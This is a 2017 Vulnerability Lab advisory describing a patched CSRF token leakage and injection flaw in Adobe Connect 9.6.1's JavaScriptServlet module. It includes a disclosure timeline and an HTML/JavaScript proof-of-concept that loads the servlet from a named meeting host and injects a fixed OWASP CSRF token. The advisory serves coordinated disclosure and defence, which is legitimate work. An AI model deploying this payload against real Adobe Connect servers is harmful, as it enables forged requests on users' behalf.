Adobe Connect v9.6.1 - CSRF Token Web Vulnerability

🗓️ 30 Aug 2017 00:00:00Reported by Lawrence Amer [[email protected]] - https://www.vulnerability-lab.com/show.php?user=Lawrence+AmerType
vulnerlab🔗 www.vulnerability-lab.com👁 38 Views
Adobe Connect v9.6.1 - Cross Site Request Forgery Token Leakage Vulnerability in `common/scripts/JavaScriptServlet` modul
Document Title:
===============
Adobe Connect v9.6.1 - CSRF Token Web Vulnerability 


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2086


Release Date:
=============
2017-08-30


Vulnerability Laboratory ID (VL-ID):
====================================
2086


Common Vulnerability Scoring System:
====================================
2.8


Vulnerability Class:
====================
Cross Site Request Forgery


Product & Service Introduction:
===============================
Whether it is a smartphone or tablet app, a game, a video, a digital magazine, a website, or an online experience,
chances are that it was touched by Adobe technology. Our tools and services enable our customers to create
groundbreaking digital content, deploy it across media and devices, and then continually measure and optimize it
based on user data. By providing complete solutions that combine digital media creation with data-driven marketing,
we help businesses improve their communications, strengthen their brands, and ultimately achieve greater business success.

(Copy of the Vendor Homepage: http://www.adobe.com/aboutadobe/)


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a csrf token vulnerability in the official Adobe Connect v9.6.1web-application.


Vulnerability Disclosure Timeline:
==================================
2017-05-07: Researcher Notification & Coordination (Security Researcher)
2017-05-07: Vendor Notification (Security Department)
2017-05-09: Vendor Response/Feedback (Security Department)
2017-07-19: Vendor Fix/Patch (Service Developer Team)
2017-07-19: Security Acknowledgements  (Security Department)
2017-08-31: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
Cross site Request Forgery Token Leakage Vulnerability has been discovered in the official Adobe Connect Application. 

the vulnerable module `common/scripts/JavaScriptServlet` allows remote attackers to steal the current OWASP CSRF 
Token which is already used in OWASP Guard Token Validation , the component it's self is placed in Public Access mode 
with current Authentication , mis configuration issue . 

due to investigation , discovered that the body of script `common/scripts/JavaScriptServlet`, in some cases allows attacker 
to inject other token from trusted domains related to adobe connect . 

Vulnerable Module(s):
[+] common/scripts/JavaScriptServlet 

Vulnerable Function(s):
[+] injectTokens
[+] OWASP_CSRFTOKEN


Proof of Concept (PoC):
=======================
The csrf vulnerability can be exploited by remote attackers without privileged user account and with low or medium user interaction.
For security demonstration or to reproduce follow the provided information and steps below to continue.

Usage of the html payload code allows an attacker to inject an own token. 
The exploitation is possible by usage of the html poc code via a trusted domain.

<html>
<script src="https://meet40332334.adobeconnect.com/common/scripts/JavaScriptServlet"></script>
<body>
<script>

function injectTokens(tokenName, tokenValue) {
/** obtain reference to page tokens if enabled **/
var pageTokens = {};

    if(false == true) {
        pageTokens = requestPageTokens();
    }

    /** iterate over all elements and injection token **/
    var all = document.all ? document.all : document.getElementsByTagName('*');
    var len = all.length;

    for(var i=0; i<len; i++) {
        var element = all[i];

        /** inject into form **/
        if(element.tagName.toLowerCase() == "form") {
            if(true == true) {
                injectTokenForm(element, tokenName, tokenValue, pageTokens);
                injectTokenAttribute(element, "action", tokenName, tokenValue, pageTokens);
            }
            /** inject into attribute **/
        } else if(true == true && element.tagName.toLowerCase() != "script" && element.tagName.toLowerCase() != "link") {
            injectTokenAttribute(element, "src", tokenName, tokenValue, pageTokens);
            injectTokenAttribute(element, "href", tokenName, tokenValue, pageTokens);
        }
    }
}
function inject() {
if (document.documentMode===0) {
setTimeout(inject, 500);
return;
}
injectTokens("OWASP_CSRFTOKEN", "d776acdb26731efd059757973e6da741c033d15a65f03ee65062ec1bccdd6d0f");
}
</script>
</body>
</html>


Security Risk:
==============
The security risk of the vulnerability in the adobe connect web-application is estimated as low (CVSS 2.8).


Credits & Authors:
==================
Lawrence Amer [[email protected]] - https://www.vulnerability-lab.com/show.php?user=Lawrence+Amer


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or 
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any 
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its 
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface 
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories 
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, 
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. 

Domains:    www.vulnerability-lab.com		- www.vulnerability-db.com					- www.evolution-sec.com
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Social:	    twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab

Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark 
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission.

				    Copyright © 2017 | Vulnerability Laboratory - [Evolution Security GmbH]™
30 Aug 2017 00:00Current
7.4High risk
Vulners AI Score7.4